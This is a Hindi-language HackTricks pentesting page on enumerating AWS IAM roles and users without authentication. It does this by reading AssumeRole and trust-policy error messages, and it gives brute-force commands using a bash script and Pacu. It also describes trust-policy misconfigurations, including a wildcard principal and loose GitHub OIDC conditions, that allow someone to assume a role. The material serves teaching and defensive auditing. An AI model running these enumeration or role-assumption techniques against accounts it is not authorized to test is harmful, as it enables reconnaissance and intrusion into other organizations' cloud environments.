AWS - IAM & STS अनधिकृत Enum

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

एक खाते में भूमिकाएँ और उपयोगकर्ता नामों की गणना करें

भूमिका मान लेना ब्रूट-फोर्स

caution

यह तकनीक अब काम नहीं करती क्योंकि यदि भूमिका मौजूद है या नहीं, आपको हमेशा यह त्रुटि मिलती है:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

आप इसका परीक्षण कर सकते हैं:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

आवश्यक अनुमतियों के बिना भूमिका मानने का प्रयास AWS त्रुटि संदेश को सक्रिय करता है। उदाहरण के लिए, यदि अनधिकृत है, तो AWS यह वापस कर सकता है:

ruby
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

यह संदेश भूमिका के अस्तित्व की पुष्टि करता है लेकिन यह संकेत करता है कि इसकी असुमे भूमिका नीति आपकी असुमे की अनुमति नहीं देती। इसके विपरीत, एक गैर-मौजूद भूमिका को असुमे करने की कोशिश करने से एक अलग त्रुटि होती है:

less
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

दिलचस्प बात यह है कि मौजूदा और गैर-मौजूदा भूमिकाओं के बीच अंतर करने की यह विधि विभिन्न AWS खातों में भी लागू होती है। एक मान्य AWS खाता आईडी और एक लक्षित शब्द सूची के साथ, कोई भी खाता में मौजूद भूमिकाओं को बिना किसी अंतर्निहित सीमाओं का सामना किए सूचीबद्ध कर सकता है।

आप इस script to enumerate potential principals का उपयोग कर सकते हैं जो इस समस्या का लाभ उठाता है।

Trust Policies: Brute-Force Cross Account roles and users

IAM भूमिका की ट्रस्ट नीति को कॉन्फ़िगर या अपडेट करना उस भूमिका को मान्यता देने के लिए अनुमत AWS संसाधनों या सेवाओं को परिभाषित करने में शामिल होता है और अस्थायी क्रेडेंशियल प्राप्त करना। यदि नीति में निर्दिष्ट संसाधन मौजूद है, तो ट्रस्ट नीति सफलता से सहेजी जाती है। हालाँकि, यदि संसाधन मौजूद नहीं है, तो एक त्रुटि उत्पन्न होती है, जो बताती है कि एक अमान्य प्रमुख प्रदान किया गया था।

warning

ध्यान दें कि उस संसाधन में आप एक क्रॉस खाता भूमिका या उपयोगकर्ता निर्दिष्ट कर सकते हैं:

  • arn:aws:iam::acc_id:role/role_name
  • arn:aws:iam::acc_id:user/user_name

यह एक नीति का उदाहरण है:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}

GUI

यह त्रुटि है जो आपको तब मिलेगी जब आप एक भूमिका का उपयोग करते हैं जो मौजूद नहीं है। यदि भूमिका मौजूद है, तो नीति बिना किसी त्रुटि के सहेजी जाएगी। (त्रुटि अपडेट के लिए है, लेकिन यह बनाने पर भी काम करती है)

CLI

bash
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

आप इस प्रक्रिया को स्वचालित कर सकते हैं https://github.com/carlospolop/aws_tools

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

हम Pacu का उपयोग कर रहे हैं:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt
  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt
  • उदाहरण में उपयोग किया गया admin भूमिका एक भूमिका है जो आपके खाते में है जिसे pacu द्वारा अनुकरण किया जाएगा ताकि यह enumeration के लिए आवश्यक नीतियों को बना सके

Privesc

यदि भूमिका गलत तरीके से कॉन्फ़िगर की गई है और किसी को भी इसे मानने की अनुमति देती है:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

हमलावर बस इसे मान सकता है।

तीसरे पक्ष का OIDC संघ

कल्पना करें कि आप एक Github Actions कार्यप्रवाह पढ़ने में सफल होते हैं जो AWS के अंदर एक भूमिका तक पहुँच रहा है।
यह विश्वास एक भूमिका तक पहुँच प्रदान कर सकता है जिसमें निम्नलिखित विश्वास नीति है:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

यह ट्रस्ट नीति सही हो सकती है, लेकिन अधिक शर्तों की कमी आपको इसे अविश्वसनीय बनानी चाहिए।
यह इसलिए है क्योंकि पिछले भूमिका को Github Actions से कोई भी मान लिया जा सकता है! आपको शर्तों में अन्य चीजें भी निर्दिष्ट करनी चाहिए जैसे कि संगठन का नाम, रिपॉजिटरी का नाम, वातावरण, शाखा...

एक और संभावित गलत कॉन्फ़िगरेशन है एक शर्त जोड़ना जैसे कि निम्नलिखित:

json
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

ध्यान दें कि वाइल्डकार्ड (*) कोलन (:) से पहले है। आप org_name1 जैसे एक संगठन बना सकते हैं और एक Github Action से भूमिका ग्रहण कर सकते हैं।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें